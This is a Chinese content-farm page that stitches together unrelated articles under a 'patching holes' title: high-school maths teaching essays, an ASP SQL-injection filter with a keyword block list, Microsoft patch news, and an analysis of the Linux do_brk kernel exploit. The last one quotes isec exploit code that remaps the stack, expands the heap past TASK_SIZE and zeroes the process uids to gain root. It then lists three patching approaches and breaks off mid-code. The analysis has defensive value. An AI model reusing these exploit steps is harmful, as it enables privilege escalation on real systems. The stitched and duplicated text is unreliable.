“蒙淇淇88”通过精心收集，向本站投稿了14篇高中数学知识漏洞修补探讨论文，下面小编给大家整理后的高中数学知识漏洞修补探讨论文，欢迎阅读!
篇1：高中数学知识漏洞修补探讨论文
摘要：进入高中以后，数学学习的难度越来越大，系统性越来越强，一些初中阶段没有打牢基础的学生会感觉到越来越吃力，知识漏洞会越来越大，数学成绩的提升也越来越艰难。为此，本文从高中数学学习特点入手，对高中数学知识漏洞修补的必要性进行分析，并就高中数学教学中如何进行知识漏洞的修补展开论述，以供参考。
关键词：高中数学；知识漏洞；系统性；后续学习
数学是一个完整的知识体系，缺乏其中的任何一个环节的知识，都难以实现数学学习的整体提升。尤其是到了高中阶段，知识的漏洞更是应该及时弥补，只有这样，才能巩固学生数学学习基础，快速提高数学成绩。
1、高中数学学习特点
高中数学具有系统性强和难度大的特点，而这也是导致部分高中生数学学习水平急速下降的主要原因。
1．1系统性强：高中的数学是由几块相对独立的知识拼合而成（如高一有集合、命题、不等式、函数的性质、指数和对数函数、指数和对数方程、三角比、三角函数、数列等），经常是一个知识点刚学得有点入门，马上又有新的知识出现。因此，高中数学的系统性较强，注意它们内部的小系统和各系统之间的联系成了学习时必须花力气的着力点。
1．2难度加大：高中数学的数学语言更为抽象，比如高一数学一下子就触及非常抽象的集合语言、逻辑运算语言、函数语言、图象语言等，十分难以理解。同时，高中数学的思维方法更趋理性，与初中阶段大不相同，高中数学语言的抽象化对思维能力提出了高要求，这种能力要求的突变使很多高一新生感到不适应。此外，高中数学知识内容急剧增加，单位时间内接受知识信息的量与初中相比增加了许多，所以综合看来，高中数学教学的难度有很大的增强。
篇2：高中数学知识漏洞修补探讨论文
高中数学知识漏洞的修补不仅是完善知识体系的需要，也是学生进行后续学习的需要。
2．1完善知识体系的需要：高中数学与小学数学、初中数学共同构成了一个严密的知识体系，缺了其中任何一个环节，知识体系都是残缺不全的，因此对学生现有的知识漏洞进行修补，是完善知识体系的需要。
2．2进行后续学习的需要：高中阶段涉及到的知识点比较多，容易发生漏洞的地方也是比较多的，如果不及时弥补漏洞，会使接下来的数学学习困难重重。举个简单的例子，在高一数学的第二章第一节指数函数学习过程中，学生对于指数函数的图像、性质与运算掌握不牢固，在后面的第三章函数与方程的学习中，就会十分困难。
3、高中数学教学中如何进行知识漏洞的修补
高中数学教学中，要进行知识漏洞的修补，就要在课堂上注重回顾旧知识，注重强化复习环节，并且充分地利用错题本。
3．1课堂教学注重回顾：课堂回顾时指教师在上完课后，对教学活动进行反思，在总结成功经验的同时，寻找教学中的不足，吸取失败的教学，进而优化自己的教学。在高中数学教学中，帮助学生查漏补缺，教师需要及时对课堂教学活动进行回顾，重新梳理教学过程的各个环节，包括课堂导入、新课讲授、课堂练习，以及课堂小结和布置作业等。尤其是要重点反思新课讲授这一环节，这是课堂教学的重点和难点，关系到了学生对知识的掌握情况，关系到课堂教学效果如何。重要的是，通过回顾，教师可以及时了解到自己的教学活动有无遗漏，如基础知识的讲授是否全面，重点知识的训练是否到位，难点知识的讲解是否详细透彻，并在反思的基础上及时调整教学方法，搜集教学素材，修补知识漏洞，优化教学过程。
3．2注重强化复习环节：复习就是重新学习以前学过的知识，加深印象，使其在脑海中留存的时间更长一些，这表明复习能够深化和巩固知识，其实，这只是复习最基本的功能，通过复习，学生还能够对以前的知识漏洞进行填补，进而梳理和完善自己的知识体系。因此，在高中数学教学中，教师要重视复习环节，因为数学知识的系统性较强，虽然各个章节是独立的，但知识点之间有着密切的联系，因此，教师在复习环节要帮助学生梳理知识脉络，要利用板书对知识点进行罗列、整理和总结，也要鼓励学生动脑动手，列出每一节课的知识点，画出知识框架，理清每个知识点之间的.关系。这样做既能够帮助学生巩固所学知识，也能够使教师了解知识点的讲解是否有遗忘和缺漏，进而及时给学生查缺补漏，使他们更全面、更系统地学习和掌握知识，提高学习水平。
3．3充分地利用错题本：在教学中，教师经常遇到这样的情况：有些题目，即便老师已经讲过了解题方法，学生考试时依然做错。这说明学生在学习中不注意总结，不注意反思，懒惰的思想导致他们不求甚解。因此，不少教师让学生建立错题本，使他们通过错题发现知识盲点和学习误区，寻找做题失误的原因，抓住问题的关键，进而系统化、条理化地解决问题。在高中数学教学中，教师要充分利用学生的错题本来修补教学中知识漏洞，错题本就像一扇窗口、一座桥梁，教师可以通过错题本了解学生解答某个问题时的思路和方法，也能了解他解题过程中暴露出的问题，进而开展有针对性的讲解，弥补学生的不足，解决他们零散、疏漏的问题。此外，教师可以通过批阅学生的错题本找到自己教学中的薄弱环节和存在的问题，进而及时调整自己的教学思路，改进教学方法。
4、结语
进入高中阶段以后，每一门学科的学习难度都大大提高了，在这样一个情况下，学生在学习中就会逐渐产生畏惧情绪，从而为后面的学习与成长造成不利影响。因此，教师应该注重对学生知识漏洞的考查与修补，使学生稳扎稳打地学习每一节内容，基础牢固，学习水平才能有较大的飞跃。
参考文献:
［1］史可富，孙志慧，李冬胜．高效数学学习的学生心理特征模型［J］．数学教育学报，2006（04）．
［2］王光明，刁颖．高效数学学习的心理特征研究［J］．数学教育学报，2009（05）．
［3］马淑杰，连四清，冯汝静，于永涛，王京滔，张秀英，李秀菊，陈福印，乔建华，郭海杰．高中生数学课堂学习效率的个体差异研究［J］．数学教育学报，2009（02）．
篇3：＂or＂=＂or＂密码漏洞修补方法
方法1: Replace过滤字符
解决方法:查找login.asp下的
pass=request.Form(”pass”)
修改为：username=Replace(request.Form(”name”), “’”, “’’”)
pass=Replace(request.Form(”pass”), “’”, “’’”)
语法是屏蔽’和’’字符来达到效果.
方法2：在conn.asp 内加入
注前提 登陆页面有)
把以下代码保存为safe.asp
程序代码
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
Err_Message = 3
Err_Web = “safe.htm”
’出错时转向的页面
Query_Badword=”’|and|select|update|chr|delete|%20from|;|insert|mid|master.|set|chr(37)|=”
’在这部份定义get非法参数,使用”|”号间隔
Form_Badword=”’|(|)|;|=”
’在这部份定义post非法参数,使用”|”号间隔
On Error Resume Next
if request.QueryString”“ then
Chk_badword=split(Query_Badword,”|”)
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))0 Then
Select Case Err_Message
Case “1″
Response.Write “alert(’传参错误！参数 “&name&” 的值中包含非法字符串！nn请不要在参数中出现：and update delete ; insert mid master 等非法字符！’);window.close;”
Case “2″
Response.Write “location.href=’”&Err_Web&”’”
Case “3″
Response.Write “alert(’传参错误！参数 “&name&”的值中包含非法字符串！nn请不要在参数中出现：and update delete ; insert mid master 等非法字符！’);location.href=’”&Err_Web&”’;”
End Select
Response.End
End If
NEXT
NEXT
End if
if request.form”” then
Chk_badword=split(Form_Badword,”|”)
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))0 Then
Select Case Err_Message
Case “1″
Response.Write “alert(’出错了！表单 “&name&” 的值中包含非法字符串！nn你的非法操作已记录,请马上停止非法行为！’);window.close();”
Case “2″
Response.Write “location.href=’”&Err_Web&”’”
Case “3″
Response.Write “alert(’出错了！参数 “&name&”的值中包含非法字符串！n谢谢您光临！,请停止非法行为！’);location.href=’”&Err_Web&”’;”
End Select
Response.End
End If
NEXT
NEXT
end if
%>
篇4：微软修补PowerPoint漏洞
微软修补PowerPoint漏洞:
微软发布了5月的安全公告，其中包含一个安全更新，修补之前被人熟知的PowerPoint缓冲区溢出和远程控制漏洞，
这个安全更新解决了微软OfficePowerPoint中一个公开披露的漏洞和多个秘密报告的漏洞，如果用户打开特制的PowerPoint文件，则该漏洞可能允许远程执行代码，
攻击者可以利用这些漏洞完全控制受影响的系统，随后可安装程序，查看、更改或删除数据，甚至创建拥有完全用户权限的新帐户。如果用户的帐户被配置为拥有较少系统用户权限，则比具有管理用户权限的用户受到的影响要小。
篇5：数学知识论文
由于传统的高中数学教学模式已经不能满足当代学生的学习需求，新的教学模式应势而生。变式教学模式作为这一时代下的新产物，它出现的目的就是为了培养学生的创造性思维和创新意识，从而使学生在激烈的社会竞争背景下立于不败之地。在高中数学知识的教学中，实施变式教学模式可以培养学生自主探究学习的能力，从而培养学生的探究式思维，使学生在实际练习中不断提高自己、丰富自己，最终达到快速提高数学成绩的目的。
一、数学知识开展变式教学的必要性
（一）开阔学生思维，明细解题思路
在传统教学模式中，教师通常只为学生们讲解一种解题方法，导致学生在做题时只能用固定的思路去解析，从而逐渐养成被动学习、思维封闭的恶习。长期以往，将对学生的发展形成强大的阻碍。随着新课改的进行，在数学教学中使用变式教学已经逐渐成为授课趋势，得到的教学效果也较为良好。这种方法不仅使学生的学习思维得到开阔，而且在做题中的思路也更加清晰，学习成绩自然而然就能得到提升。
（二）加强学生知识探究，提高学生综合素质
在高中数学教材中，教学知识点的数量涵盖较大，不利于学生轻松掌握，使得部分学生因此产生厌学的情绪，从而增加教师授课压力。为了提高高中数学知识的教学质量，我国各高中学校都应该创新教学理念、教学内容，制定符合当今社会时代的教学模式，提高学生的高中数学知识掌握量，从而提高学生的综合素质能力。深入实施变式教学模式，可以使学生自身的探究能力与创新思维得以开阔，随之应用于学习当中，找到合理解决各种类型的数学方法，提高学习数学学科的效率。
二、高中数学知识教学中开展变式教学的实施策略
（一）课前教师引路，学生做主人
在传统的高中数学教学课堂中，教师大多占有主导地位，学生作为接受者，只能被动地接收知识。在这样的教学模式下，学生不能自主探讨问题，探究性思维得不到发展，学生无法进行创新，从而难以达到当今社会对人才的要求。高中数学知识变式教学模式的实施可以真正意义上实现学生在课堂中的主体地位，符合当今教育事业倡导的教育理念。教师充当学生的引路人，帮助学生渡过难关。在课上教师不再是思维的灌输者，而是知识的传递者，引导学生快乐学习、健康成长。因此，教师应该让学生自己多想办法，也可以分组合作共同研究出一套新办法，这样的学习方法可以使得学生真正对自己的学习负责，达到高效率、高水平的学习目的。
（二）课上及时变式，学生随时掌握知识
在高中数学知识的教学过程中，教师要根据教学内容、问题题型及时地进行变式。比如说在三角函数问题的教学中，教师可以进行正弦、余弦、正切这三者之间的比较，分析它们在解题过程中的相似之处以及不同之处，然后通过具体的题型，让学生在解决问题的过程中学到不同的解题方法。
教师在课堂上及时的变式，可以有效节约学生的学习时间，提高学生的学习质量。学生们对数学知识进行及时掌握，可以使得他们在考试过程中将由做题过程中遇到的相关内容延伸到考试内容，从而提高考试成绩。
（三）课后及时复习，总结重点
在课下，学生要对课上教师讲解的内容进行及时复习，将教师所讲的重点与难点进行针对性记忆，并对题型进行总结与归纳，为日后的复习做准备。及时的复习还可以有效地使学生开阔自己的思路，对一种题型找出多种解法，面临考试时不会因题型陌生而担忧。学生还可以在学完每个章节以后，自己再根据相关知识点做一个具体的总结方案，将简单的知识点进行合理去除，对易错点进行重点记忆，保证自己日后高效复习。
三、结语
在高中数学知识的教学中，传统的教学模式已经不再适合于学生们的学习。教师应该在传统的基础上加以改善与优化，引导学生对相关或者相似的题型进行总结与归纳，分辨各变式题型的思路，总结其相似点以及不同处，为以后的解题打下坚实的基础。在变式学习中，教师要及时地为学生们指引思路，使学生可以清楚地找到符合自身发展的最佳学习方法，并自主地去探究学习，在课上及时地对各种题型进行练习与掌握，课下则能针对重点内容进行有效复习，最终达到高效学习的目标。
参考文献：
[1]瞿晶.程序性数学知识的课堂教学策略[J].上海教育科研,（1）：77-78.
[2]谢丽英.高中数学课堂中变式教学的案例分析[D].天津:天津师范大学,.
[3]秦利芳.高中函数教学中概念的变式教学初探[J].中学数学,（19）：11-13.
篇6：windows和exchange本周修补大漏洞Windows漏洞
微软计划在本周二的每月例行更新发出3个安全快报，修补windows和exchange的瑕疵，
微软公司4日的网站公告指出，exchange邮件服务器和至少一个windows警报，被列为“重大”(critical) --该公司最高的风险等级。
这类瑕疵通常不需使用者采取任何行动，或只需最低程度的互动，即可造成系统全面受损。
微软并未透露总共将解决多少瑕疵，也未说明是哪些 windows和exchange元件需要修补。过去几周，安全研究员曾通报好几个未修补的ie浏览器瑕疵。
上个月，微软发出5个安全快报，其中3个已有民众通报使用问题，迫使微软在两次例行更新之间，重新发布一个修改过的补救方案，
周二（9日），微软也计划推出更新版的windows malicious software removal tool（恶意软件卸载工具）。该软件可侦测并卸载一般性恶意软件。
对于下周的例行更新，微软并未提供更详尽的信息，仅表示下载修补程序后，可能需要重开电脑。微软在例行更新前都会发出通知，以便使用者作好下载和安装准备。
微软将在美西时间10日上午11点播放网络视频说明。
关 键 字：Windows漏洞
篇7：Brk漏洞分析和修补漏洞预警
brk漏洞分析
有点out of date乐：（
希望对大家还能有点用，。。
Brk漏洞分析
by icbm@0x557
1.brk漏洞背景
2.漏洞原理分析
3.漏洞利用分析
4.该漏洞引发的思考
Brk漏洞分析
1.brk漏洞背景
2.漏洞原理分析
3.漏洞利用分析
4.该漏洞引发的思考
前言：
11月21日在Full-Disclosure邮件列表里收到一封Debian Linux安全小组发来的题目为“Some Debian Project machines have been compromised”的安全公告。该安全公告中提到Debian多台服务器被入侵，令人奇怪的是其中并没有提到任何被入侵的细节只是说过几天后会公布对被入侵主机的取证结果。这个公告引起了我们极大兴趣，因为Debian Linux的安全性是非常好的，攻击者肯定使用了一些未知漏洞获取了管理员权限，几天后终于获悉攻击者使用的就是本文将要分析的漏洞do_brk边界检查不充分导致本地权限提升漏洞。因为这种漏洞对系统产生的影响非常罕见，所以我们甚至可以定义此漏洞为一种新的漏洞类型。在下面的篇幅中我们就此漏洞的背景，成因，利用方法展开讨论。
1.brk漏洞背景
在分析该漏洞前先来看看它的一些背景资料，说不定我们可以从这些背景资料中能发现一些有用东西：）
其实这个brk漏洞在今年9月份就被Linux内核开发人员发现，并在9月底发布的Linux kernel 2.6.0-test6中就对该漏洞作了修补。奇怪的是Linux Kernel开发人员可能认为这个漏洞并不是什么严重问题，所以对该漏洞的发现修补未作任何安全公告，如此轻率的处理安全漏洞的举动使Linux系统管理员完全没有注意到此漏洞的存在更不要说对系统修补此漏洞了。同时在9月底的时候，isec的Paul (IhaQueR) Starzetz 也发现了此漏洞，isec对此漏洞进行了详细地分析并且对此漏洞的攻击方法作了深入的研究，写出了brk漏洞非常稳定且有效的攻击程序。因为攻击程序的泄漏，所以使攻击者利用此攻击程序获取了Debian的多台服务器管理员权限。11月28日Linux内核推出了2.4.23版本中才修补了此漏洞,至此经过了两个多月此漏洞才被在Linux稳定版本内核中修补。
2.漏洞原理分析
在分析此漏洞之前我们先来简单介绍一下Linux内存管理方面的知识。
在Linux中每一个进程都可以访问0-4G的虚拟线性内存地址，而其中0-3G（0xc0000000）为用户空间,用户进程可以访问其中任何一个地址。这个最大值（0xc0000000）在Linux中通常被定义为TASK_SIZE，这个值也就是用户空间所能访问的极限。从3G-4G的虚拟内存地址空间为内核态地址空间，其中存放的数据由所有进程共享但只能由内核访问，用户进程不能访问。用户进程可以通过中断或者系统调用使操作系统的用户态切换到内核态来访问内核态数据。如果读者想进一步了解Linux内存管理方面的知识可以阅读参考1。
Ok,现在我们有了Linux内存管理的一些概念后，大家可以大胆的设想一下：如果我们可以通过某些操作（或者某些Linux操作系统中的漏洞）来突破这个TASK_SIZE的限制将会出现什么情况呢？嗯，对了，这时候我们就可以访问到内核中敏感的数据，通过对这些敏感数据的操作就可以获得系统的最高权限。
然后让我们回到这次讨论的brk漏洞中，该漏洞被发现于brk系统调用中。brk系统调用可以对用户进程的堆的大小进行操作，使堆扩展或者缩小。我们先来看一下从Linux内核源代码中抽取的系统调用sys_brk的部分源代码。
--------------------[linux/mm/mmap.c line:147]----------------------------------------------
asmlinkage unsigned long sys_brk(unsigned long brk)
{
unsigned long rlim, retval;
unsigned long newbrk, oldbrk;
struct mm_struct *mm = current->mm;
down_write(&mm->mmap_sem);
if (brk < mm->end_code)
goto out;
newbrk = PAGE_ALIGN(brk);
ldbrk = PAGE_ALIGN(mm->brk);
if (oldbrk == newbrk)
goto set_brk;
/* Always allow shrinking brk. */
if (brk <= mm->brk) {
if (!do_munmap(mm, newbrk, oldbrk-newbrk))
goto set_brk;
goto out;
}
......
/* Ok, looks good - let it rip. */
if (do_brk(oldbrk, newbrk-oldbrk) != oldbrk) //这里可以看到真正对堆进行操作的是do_brk()函数
goto out;
set_brk:
mm->brk = brk;
out:
retval = mm->brk;
up_write(&mm->mmap_sem);
return retval;
--------------------[linux/mm/mmap.c end]-----------------------------------------------------
大家看了系统调用sys_brk的源代码后可以发现其实它内部是调用了do_brk()函数来对堆进行操作，让我们再来看一下do_brk()函数的源代码来看看这个bug真正是怎么产生的；）
--------------------[linux/mm/mmap.c line:1033]----------------------------------------------
unsigned long do_brk(unsigned long addr, unsigned long len)
{
struct mm_struct * mm = current->mm;
struct vm_area_struct * vma, * prev;
unsigned long flags;
rb_node_t ** rb_link, * rb_parent;
len = PAGE_ALIGN(len);
if (!len)
return addr;
/*
* mlock MCL_FUTURE?
*/
if (mm->def_flags & VM_LOCKED) {
unsigned long locked = mm->locked_vm << PAGE_SHIFT;
locked += len;
if (locked > current->rlim[RLIMIT_MEMLOCK].rlim_cur)
return -EAGAIN;
}
/*
* Clear old maps. this also does some error checking for us
*/
munmap_back:
vma = find_vma_prepare(mm, addr, &prev, &rb_link, &rb_parent);
if (vma && vma->vm_start < addr + len) {
if (do_munmap(mm, addr, len))
return -ENOMEM;
goto munmap_back;
}
/* Check against address space limits *after* clearing old maps... */
if ((mm->total_vm << PAGE_SHIFT) + len
> current->rlim[RLIMIT_AS].rlim_cur)
return -ENOMEM;
if (mm->map_count > max_map_count)
return -ENOMEM;
if (!vm_enough_memory(len >> PAGE_SHIFT))
return -ENOMEM;
flags = VM_DATA_DEFAULT_FLAGS | mm->def_flags;
/* Can we just expand an old anonymous mapping? */
if (rb_parent && vma_merge(mm, prev, rb_parent, addr, addr + len, flags))
goto out;
/*
* create a vma struct for an anonymous mapping
*/
vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
if (!vma)
return -ENOMEM;
……
}
/* Build the RB tree corresponding to the VMA list. */
void build_mmap_rb(struct mm_struct * mm)
{
struct vm_area_struct * vma;
rb_node_t ** rb_link, * rb_parent;
mm->mm_rb = RB_ROOT;
rb_link = &mm->mm_rb.rb_node;
rb_parent = NULL;
for (vma = mm->mmap; vma; vma = vma->vm_next) {
__vma_link_rb(mm, vma, rb_link, rb_parent);
rb_parent = &vma->vm_rb;
rb_link = &rb_parent->rb_right;
}
}
--------------------[linux/mm/mmap.c end]----------------------------------------------
从上面的代码中我们可以看到do_brk()函数在调整进程堆的大小时没有对参数len进行任何检查也没有对addr+len是否超过TASK_SIZE做检查。这样我们就可以向它提交任意大小的参数len，使用户进程的大小任意改变以至可以超过TASK_SIZE的限制使系统认为内核范围的内存空间也是可以被用户访问的，这样的话普通用户就可以访问到内核的内存区域。
好了，现在我们分析了为什么这个do_brk()出现这样的漏洞，也讨论了这个漏洞会产生什么影响，但是我们更关心的是如果让我们访问内核的内存区域，我们要做些什么工作，我们可以获得什么信息，怎样修改内核中的信息才能提升我们的权限？接下来让我们把目标放在对此漏洞的利用上。
3.漏洞利用分析
Debian服务器被攻击后很多安全专家都在研究讨论brk漏洞，从上面背景材料中知道刚开始内核开发人员发现该漏洞时并未及时作出修补也没有进行任何公告，其中一个原因就是这种类型的漏洞非常罕见，可能算是一种新型的漏洞吧。对这种可以扩展用户可访问内存区域到内核的内存区域的漏洞在以前并没有被广泛的研究讨论过，而且对这种漏洞产生的影响并不能被很直接的观察到。还有就是，这种漏洞的可利用性也从来没有被证实过，而且此漏洞产生的影响在内核中，利用这种漏洞的方法不像在Linux下利用缓冲区漏洞那样直接，会涉及到很多方面，更增加了利用此漏洞的困难。而isec却敏锐地观察到此漏洞对Linux内核安全的严重危害性，在对这种新漏洞类型的利用方面作了深入地研究，并且研究出了几种使利用这种漏洞成为可能并且提高了攻击程序稳定性的技术，12月初他们发布了关于此漏洞利用方法的详细分析与攻击程序。11月底时我们与HD Moore深入地讨论了关于此漏洞的利用方法与可能性，提出了一些利用此漏洞想法与疑问，因为isec发布的文档完美的回答了我们的这些问题，在这篇文档中就以我们提出的疑问为线索来描述这种新的类型漏洞的攻击技术。
问题1：
因为当时在bugtraq上发布了一个关于此漏洞poc代码，但此poc代码并不是直接利用do_brk()函数来触发此漏洞而是利用一个被构造的畸形elf文件来触发了此漏洞，经过我们讨论认为直接使用do_brk()系统调用要比使用构造的elf文件来触发此漏洞更为简单，接下来的问题就是怎么使用brk系统调用来触发此漏洞。
问题2：
怎么向扩展的内存区域写入数据，当时测试了几种方法都不成功，当时HD Moore认为绝对可以向内核区域中写入4个字节。我提出是否能直接使用ptrace来读些该被扩展的内存区域，但是测试了一下不知道什么原因没有成功。
问题3：
如果我们可以向内核里写入数据，我们想要写些什么东西？向哪里写？与kkqq讨论的结果是最简单的方法就是找到current然后直接uid=0;确实好方法。但是我们要怎么找到udi,gid,euid呢？
问题4：
因为当用户进程内存区域被扩展到内核内存区域时，系统就会认为这一部分内核区域也是用户进程内存区域的一部分，所以当进程退出时或者被中断退出时，系统就会释放这一部分内存这样就会破坏这一块内核内存区域使系统崩溃。所以怎样保证利用此漏洞时保持系统本身的稳定性也是一个问题。
下面让我们看看isec利用什么样的技术来解决这些难题的：
问题1的解决方法：
因为使用brk漏洞扩展进程的内存范围时，这个内存范围内不能有任何已经被映射过的内存。但是大家知道进程的堆栈地址范围就是在TASK_SIZE下方，想要使用brk漏洞来突破TASK_SIZE的限制，就得先把这一段内存范围搬离紧挨着TASK_SIZE的地方，怎么做呢？
就是给进程重新分配一个堆栈起始的地址，从isec提供的exp中我们可以看到：
void remap(void)
{
static char stack[8 MB]; /* new stack */
……
asm (“movl %0, %%espn” : : “a” (stack + sizeof(stack)));//cool, get a new stack. movl statck+8M, %esp
b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
if (munmap((void*)b, task_size - b) == -1)
fatal(“Unable to unmap stack”);
……
}
首先分配了一个8MB的静态空间，然后把stack+8MB的地址放到esp中让堆栈指针指向着新的内存空间，这就是此进程获得一个新的堆栈，
然后再unmap掉一段内存，这样就使我们可以使用这个漏洞来把地址扩展到TASK_SIZE以上。因为不能用brk系统调用一次就超过TASK_SIZE的限制，可以使用sbrk()来一次一小段的方法来越过这个TASK_SIZE。
/*critical code here, exploit the brk vul*/
void expand(void)
{
unsigned top = (unsigned) sbrk(0);//可以用sbrk(0)获得当前heap地址
unsigned limit = address + PAGE_SIZE;
do {
if (sbrk(PAGE_SIZE) == NULL) //每次扩展4k大小的内存区域
fatal(“Kernel seems not to be vulnerable”);
dontexit = 1;
top += PAGE_SIZE;
} while (top < limit);
}
Ok,我们知道怎么触发此漏洞后接着来看看向刚才获得的这块大于TASK_SIZE的内存区域写数据。
问题2的解决方法：
看了isec对该漏洞利用方法的描述后，发现以前我们讨论的使用ptrace的方法也是可行的，但是忽略了一点普通用户进程因为权限不够还是不能访问kernel的页，需要改变这些内核使用的内存页面的属性。我们可以使用mprotect()系统调用为我们完成这个工作。
void knockout(void)
{
unsigned * addr = (unsigned *) address;
if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1) //把addr指的页的属性改变成可读写。
fatal(“Unable to change page protection”);
……
}
这样我们就可对改内核页面进行读写操作了。
问题3的解决方法：
现在我们可扩展进程的内存范围超过TASK_SIZE而且也修改了内核页的属性为可读写。接下来我们要解决的问题是怎么获得内核的运行权限来修改内核中的页面。Isec使用的一种方法就是通过使用ldt中的调用门来获得从普通用户权限到内核权限的转换。但是怎么找到进程中ldt的地址呢？可以通过扫描ldt表为分配与分配后的内存被映射的情况来找到ldt的准确地址。具体代码如下：
void find(unsigned * m)
{
unsigned addr = task_size;
unsigned bit = 1;
unsigned count;
unsigned tmp;
prepare();
tmp = address = count = 0U;
while (addr < TOP_ADDR) {
int val = testaddr(addr);//使用asm (“verr (%%eax)” : : “a” (addr));来判断该页是否被映射
if (val == MAP_ISPAGE && (*m & bit) == 0) {//如果此页为已映射而且最后位不为1 if (!tmp) tmp = addr;
count++;//计算被映射页面数字
} else {
if (tmp && count == LDT_PAGES) {
errno = EAGAIN;
if (address)
fatal(“double allocationn”);
address = tmp;
}
tmp = count = 0U;
}
addr += PAGE_SIZE;
next(m, bit);
}
signal(SIGSEGV, SIG_DFL);
if (address)
return;
errno = ENOTSUP;
fatal(“Unable to determine kernel address”);
}
因为前面map()函数已经把这一段内存区域中的每一个页的最后一位置1，所以当ldt表被分配后ldt表占用的内存页都没有做标记这样就可以找到ldt表的准确位置。关于ldt与调用门的详细内容读者可以阅读参考2。
现在通过调用门我们就可以修改内核中的任意内容了，可是修改kernel的那些数据结构才能使我们提升权限呢？嗯，其实就像前面提到的如果能直接改写uid就可以了，现在我们面临的困难就是如何找到它。让我们来看看isec的exp中使用的方法：
asmlinkage void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;//这个while用来寻找我们要改写的uid地址
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
addr[8] = 0;
……
}
这里我们可以看到这段代码就是在内存中寻找uid, euid,suid,fsuid都与getuid()相等的内存地址，然后把uid, euid,suid,fsuid,gid,egid,sgid,fsgid都改成0，这样该进程就获得了超级用户权限，因为euid等值也被修改了所以用execve()系统调用调用的进程也会有超级用户权限。
4.该漏洞引发的思考
现在让我们看一下该漏洞产生的影响，因为Linux内核开发人员未对此漏洞做及时的公告，因此很多管理员并不清楚此漏洞的危害性（当然，Debian被攻击以后肯定大家都应该知道这个漏洞了吧：）而且在漏洞未公告前攻击程序已经被大规模的泄漏，irc里已经有很多人在讨论攻击程序的使用方法了，这种攻击者已经获得攻击程序而管理员却连漏洞都不知道的情况下严重的威胁到了使用Linux系统用户的安全性。因为对此漏洞轻率地处理，从而产生这样的结果。我们可以从这个时事件上学习到，对系统中任何漏洞都不能掉以轻心。另外，因为此漏洞是一种新型的漏洞，对这种漏洞的研究与发现并没有完全展开，所以，这种类型的漏洞很有可能在系统内核中再次被发现。其他系统内核也可能会存在同样类似问题。当大家看完这篇文章后，下次再遇到同样的漏洞时，就不会再有陌生的感觉了，说不定发现下一个漏洞的就是你。
最后，祝大家在新的一年内玩“虫”愉快！
brk修补
前言：
这个brk漏洞在今年9月份就被Linux内核开发人员与一些安全人员发现，但是内核开发人员却忽略了该漏洞的危害性使广大Linux管理员根本没有察觉该漏洞，致使该漏洞在攻击者对Debian与Gentoo的攻击行动中扮演了重要角色。关于该漏洞的详细描述信息清参阅本期的另一篇文章。因为对该漏洞的攻击代码已经大规模公开，所以严重的影响到了Linux系统的安全性。在这么严峻的情况下你的系统打补丁了吗？
前言：
这个brk漏洞在今年9月份就被Linux内核开发人员与一些安全人员发现，但是内核开发人员却忽略了该漏洞的危害性使广大Linux管理员根本没有察觉该漏洞，致使该漏洞在攻击者对Debian与Gentoo的攻击行动中扮演了重要角色。关于该漏洞的详细描述信息清参阅本期的另一篇文章。因为对该漏洞的攻击代码已经大规模公开，所以严重的影响到了Linux系统的安全性。在这么严峻的情况下你的系统打补丁了吗？
brk漏洞是一个危害非常严重的本地漏洞，因为这种漏洞是一种新型的漏洞可以绕过缓冲区溢出的补丁和一些内核安全增强内核补丁，导致攻击者只要可以拿到任何本地用户的访问权限就可以在2.4.23内核以下的Linux系统上取得管理员权限。所以说最好的防御就是不让攻击者拿到任何可以访问本地系统的权限，但是这是最理想的情况。如果我们必须要为用户提供一些本地的访问权限或者系统上用户很多很有可能被攻击者获得一个本地的账号，所以给系统打补丁还是非常必要的。
接下来我们从多个方面来讨论三种针对该漏洞的修补方案，希望读者可以从下面的方案中找到合适自己的方案：
第一种方案：
最根本的方法就是直接升级内核到2.4.23，这样可以修补这个brk漏洞，可以在www.kernel.org下载2.4.23的完整源代码或者直接下载2.4.23的补丁包www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.23.bz2）。虽然这种方法看上去好像很简单其实管理员还是需要考虑到很多因素，比如说兼容性问题，因为内核改动后内核中的一些数据结构被改变了一些特定的硬件驱动就会不兼容，还有升级新的内核后要考虑到一些应用是否还能正常运行。还有一些情况就是如果这样升级内核就需要重新编译并配置内核，然后需要重新启动机器以便以新的内核引导系统，这样就使得这种方案对管理员带来了更多的麻烦。
方案一总结：最根本的解决方案，如果没有兼容性的问题与管理的问题这个应该是解决这个漏洞的最佳方案。
第二种方案：
这种方案可以避免一些兼容性的问题，就是patch原来的内核中有漏洞的源代码。从代码方面来看要修补该漏洞其实很简单只需在mmap.c中的do_brk()里加入几行对参数判断的语句，检查参数是否为正常值如果不是则返回个-EINVAL：
if ((addr + len) > TASK_SIZE || (addr + len) < addr){ /* 检查是否超过了TASK_SIZE 的边界或者len值是否为负数*/
printk(“caught do_brk exploit!!!n”);
return -EINVAL;
}
这种直接修改内核源代码的方案使当前服务器上运行的应用或者服务器硬件没有了兼容性的麻烦，不过还是要重新编译配置内核并重新启动机器以便使用新的内核所以并没有减轻管理上的麻烦。
方案二总结：
该方案因为只是在原有内核的基础上修补了有漏洞的代码，这样就使修补该漏洞而没有兼容性的麻烦，如果用户害怕兼容性方面的问题可以选择该方案。
第三种方案：
这种方案的目标是为了达到”on the fly”的效果，就是在不重新启动服务器的情况下动态的给系统打补丁。其实就是使用一些lkm的技术寻找所有do_brk的调用（call或者jump）并把有漏洞的do_brk的地址替换为我们自己的修补过得my_brk。在my_brk()中我们首先判断输入参数是否正确,如果正确则调用原来的do_brk()，其实这种方法就像一些内核后门替换了系统调用，让我们看一下该补丁的源代码：
unsigned long my_brk(unsigned long addr, unsigned long len)
{
len = PAGE_ALIGN(len);
if (!len)
return addr;
